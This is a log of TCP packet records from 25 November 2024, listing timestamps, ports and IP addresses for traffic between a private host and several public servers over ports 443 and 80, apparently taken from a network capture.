Nov 25, 2024 07:53:13.716082096 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.716181993 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.729733944 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.729801893 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.733009100 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.733079910 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.736227989 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.736258984 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.736471891 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.738998890 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.739067078 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.739093065 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.739917994 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.739932060 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.740186930 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.743279934 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.743379116 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.743402958 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.743506908 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.743521929 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.743804932 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:13.744282961 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.744327068 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:13.744369984 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.396682978 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.396704912 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.396745920 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.396800041 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.396863937 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.396863937 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.397418976 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.397418976 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.397439957 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.397449970 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.425096035 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.425117016 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.425149918 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.425256014 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.425256014 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.425271034 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.425523996 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.425523996 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.425688028 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.425715923 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.425786018 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.429467916 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.429492950 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.429522991 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.429579020 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.429588079 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.431529999 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.431583881 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:14.431655884 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.431685925 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:14.431788921 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:15.143925905 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:15.143958092 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:15.144167900 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:15.144593000 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:15.144607067 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:16.136339903 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:16.255853891 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:16.255939007 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:16.256706953 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:16.376147985 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:16.929048061 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:16.929109097 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:16.930928946 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:16.930938005 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:16.931250095 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:16.940854073 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:16.987322092 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.407428980 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.407454967 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.407473087 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.407548904 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.407634974 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.407685041 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.407685041 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.595822096 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:17.595932961 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:17.601701975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:17.602046013 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.602061987 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.602197886 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.602231026 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.602418900 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.639096022 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.639113903 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.639188051 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.639209986 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.639241934 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.639264107 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.721141100 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:17.776400089 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.776420116 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.776477098 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.776485920 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.776535988 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.805421114 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.805440903 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.805506945 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.805522919 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.805552006 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.805623055 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.825493097 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.825520039 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.825587988 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.825603962 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.825637102 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.825654984 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.845463037 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.845499039 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.845544100 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.845557928 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.845601082 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.845627069 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.977372885 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.977396011 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.977483034 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.977490902 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.977531910 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.993087053 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.993155003 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.993184090 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.993204117 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:17.993232012 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:17.993252993 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.008950949 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.008975029 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.009047031 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.009062052 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.009099960 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.009119987 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.021142006 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.021166086 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.021214962 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.021229029 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.021276951 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.021297932 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.033195972 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.033221006 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.033293009 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.033313990 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.033359051 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.035377026 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.053586006 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.053617954 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.053694963 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.053709984 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.053771973 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.057312012 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.057948112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:18.058011055 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:18.058753014 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.058837891 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.058840990 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.058903933 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.236603022 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.236656904 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.236689091 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.236704111 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.386905909 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:18.461155891 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.461155891 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.461195946 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.461245060 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.461261034 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.461304903 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.462348938 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.462373018 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.462462902 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.462579966 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.462589025 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.462635040 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.463121891 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.463129044 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.463135958 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.463165998 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.463226080 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.463258028 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.463293076 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.463303089 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.464261055 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.464272976 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.464335918 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.464694023 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:18.464704990 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:18.506475925 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:18.728122950 CET	49673	443	192.168.2.6	173.222.162.64
Nov 25, 2024 07:53:18.775058031 CET	49674	443	192.168.2.6	173.222.162.64
Nov 25, 2024 07:53:18.784964085 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785012960 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.785058022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785101891 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.785114050 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785173893 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785271883 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785280943 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.785326958 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785631895 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785651922 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785667896 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.785701036 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.785732985 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.785753012 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.788997889 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.789016008 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.789153099 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.789166927 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.789355040 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.789367914 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.789411068 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.789424896 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.789475918 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:18.789495945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:18.830707073 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:18.830781937 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:18.830800056 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:18.830847025 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:18.832583904 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:18.952054977 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.071863890 CET	49672	443	192.168.2.6	173.222.162.64
Nov 25, 2024 07:53:19.276371002 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.276407957 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.276427031 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.276484013 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.276484013 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.276484013 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.276530981 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.276549101 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.276566982 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.276592016 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.276592016 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.276614904 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.278739929 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.398176908 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.722866058 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.723017931 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.744784117 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.744874954 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:19.864391088 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.864422083 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.864480972 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.864490032 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.864526987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.864569902 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:19.864581108 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:20.178240061 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.180774927 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.180774927 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.180803061 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.180819988 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.188487053 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.189291000 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.189328909 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.189532995 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.189541101 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.203963041 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.204920053 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.204920053 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.204942942 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.204957962 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.254020929 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.254964113 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.254964113 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.254981995 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.254993916 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.255258083 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.255860090 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.255861044 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.255867004 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.255877972 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.390580893 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:20.390661001 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:20.392476082 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:20.392637968 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:20.393968105 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:20.394026041 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:20.427057981 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:20.427093029 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:20.427216053 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:20.427236080 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:20.617527962 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.617558956 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.617624044 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.617645025 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.618004084 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.618016958 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.618063927 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.618155003 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.618181944 CET	443	49726	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.618237972 CET	49726	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.622181892 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.622246027 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.622292042 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.623213053 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.623265982 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.623308897 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.623330116 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.623330116 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.623342991 CET	49724	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.623348951 CET	443	49724	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.623496056 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.623513937 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.626671076 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.626702070 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.626756907 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.626976967 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.626995087 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.643682003 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.643706083 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.643771887 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.643790007 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.643837929 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.647131920 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.647173882 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.647212029 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.647270918 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.647283077 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.647294998 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.647300005 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.696744919 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.696769953 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.696945906 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.696963072 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.697006941 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.702886105 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.702941895 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.703022003 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.703288078 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.703347921 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.703391075 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.745779037 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.745779037 CET	49725	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.745815992 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.745826960 CET	443	49725	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.746963978 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:20.746968985 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:20.746979952 CET	49728	443	192.168.2.6	13.107.246.63
